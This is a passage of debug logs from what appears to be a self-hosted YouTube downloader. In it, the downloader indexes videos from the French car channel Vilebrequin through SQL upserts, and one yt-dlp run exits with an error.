s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:27.748 [debug] QUERY OK source="media_items" db=4.2ms queue=0.1ms idle=440.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 16:15:02Z], 1] 07:43:27.779 [debug] QUERY OK source="media_items" db=29.8ms idle=445.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "On atteint la V-MAX du 1000tipla sur les Hunaudières", "4c32c1c2-5aa9-4b05-88b9-f055db007bb6", "oN772QacXLs", 1557, false, "https://www.youtube.com/watch?v=oN772QacXLs", 18, "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", false, false, false, 1, [], 98, ~U[2023-07-06 16:15:02Z], ~U[2026-04-20 05:43:27Z], ~U[2026-04-20 05:43:27Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "On atteint la V-MAX du 1000tipla sur les Hunaudières", "oN772QacXLs", 1557, false, "https://www.youtube.com/watch?v=oN772QacXLs", "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", false, 1, ~U[2023-07-06 16:15:02Z]] 07:43:27.781 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=476.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:27.782 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=40.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:43:27.783 [debug] QUERY OK source="media_items" db=0.5ms idle=39.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18] 07:43:27.783 [debug] Current batch of media processed. Will check again in 1000ms 07:43:28.785 [debug] Current batch of media processed. Will check again in 1000ms 07:43:29.786 [debug] Current batch of media processed. Will check again in 1000ms 07:43:30.787 [debug] Current batch of media processed. Will check again in 1000ms 07:43:31.788 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "duration" => 3774, "filename" => "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", "id" => "wFxlSC3HLZE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wFxlSC3HLZE", "playlist_index" => 19, "timestamp" => 1688058902, "title" => "MERGUEZ TUNING SHOW : C'était une dinguerie", "upload_date" => "20230629"} 07:43:31.791 [debug] QUERY OK source="sources" db=1.9ms idle=1485.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:43:31.792 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=655.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:31.797 [debug] QUERY OK source="media_items" db=4.2ms queue=0.1ms idle=489.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 17:15:02Z], 1] 07:43:31.845 [debug] QUERY OK source="media_items" db=46.6ms idle=495.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "MERGUEZ TUNING SHOW : C'était une dinguerie", "50468d8f-9ef2-4d06-891e-71969673641d", "wFxlSC3HLZE", 3774, false, "https://www.youtube.com/watch?v=wFxlSC3HLZE", 19, "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", false, false, false, 1, [], 98, ~U[2023-06-29 17:15:02Z], ~U[2026-04-20 05:43:31Z], ~U[2026-04-20 05:43:31Z], "Merci à NordVPN pour leur soutien, une offre exclusive est à découvrir ici 👉 https://nordvpn.com/vilebrequin\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à toutes les équipes qui ce sont arraché pour réaliser cet évènement ainsi qu'à tous les partenaires qui nous ont suivi. \n\nL' équipe permanente : Thomas - Lolita - Tom - Sophie - Djamila - Aurélien - Amélie - Camille - Flora - Anaïs - Laurent - Seb - Marine - Nicolas - Malih - Camille - Karen - Cathy - Anna- Alissande - Djina\n\nNotre équipe : Anaelle Le Magorou - Cassandra Borie - Lucas Martin - Alan Poirier - Théo Bosschaert - Axel Roguet - Adrien Loison\n\nL' équipe de Multyde pour les photos.\n\nLes équipes des Artistes qui ont tous joué le jeu de fou.\n\nMerci spécial à : Joséphine Godard et Julien Breton\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nAssistant Monteur : Thibaut Iacolare\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#MERGUEZ #TUNING #LOULOUS", "MERGUEZ TUNING SHOW : C'était une dinguerie", "wFxlSC3HLZE", 3774, false, "https://www.youtube.com/watch?v=wFxlSC3HLZE", "/downloads/Vilebrequin/2023-06-29 MERGUEZ TUNING SHOW : C'était une dinguerie/MERGUEZ TUNING SHOW : C'était une dinguerie [wFxlSC3HLZE].mkv", false, 1, ~U[2023-06-29 17:15:02Z]] 07:43:31.847 [debug] QUERY OK source="sources" db=1.3ms idle=543.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:31.849 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.3ms idle=56.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:43:31.852 [debug] QUERY OK source="media_items" db=1.3ms idle=57.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19] 07:43:31.852 [debug] Current batch of media processed. Will check again in 1000ms 07:43:32.853 [debug] Current batch of media processed. Will check again in 1000ms 07:43:33.854 [debug] Current batch of media processed. Will check again in 1000ms 07:43:34.717 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/channel/UCC9mlCpyisiIpp9YA9xV-QA --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Vilebrequin/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:4320,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/4d/df/4ddfc8b22295b0374792b755b1317d8b6363b0fcb90c7a807980996487cf4370.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/20/b9/20b97e2e230df69852f8ab9b6425d5316b2af6a658ae7970a50c27baed6fe13c.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 07:43:34.719 [debug] Gracefully stopping file follower 07:43:34.720 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=1416.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:43:34.721 [debug] QUERY OK source="sources" db=0.5ms idle=1417.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:34.725 [debug] QUERY OK source="media_items" db=3.5ms idle=1418.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-07 17:15:03Z], 1] 07:43:34.761 [debug] QUERY OK source="media_items" db=34.6ms idle=1197.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "C'est fini.", "b5320ebb-94fb-4a0e-80d1-34909a0245bb", "dh8XxY717Gw", 1740, false, "https://www.youtube.com/watch?v=dh8XxY717Gw", 1, "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", false, false, false, 1, [], 98, ~U[2023-12-07 17:15:03Z], ~U[2026-04-20 05:43:34Z], ~U[2026-04-20 05:43:34Z], "MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "C'est fini.", "dh8XxY717Gw", 1740, false, "https://www.youtube.com/watch?v=dh8XxY717Gw", "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", false, 1, ~U[2023-12-07 17:15:03Z]] 07:43:34.762 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=596.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:34.767 [debug] QUERY OK source="media_items" db=4.4ms queue=0.1ms idle=42.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE 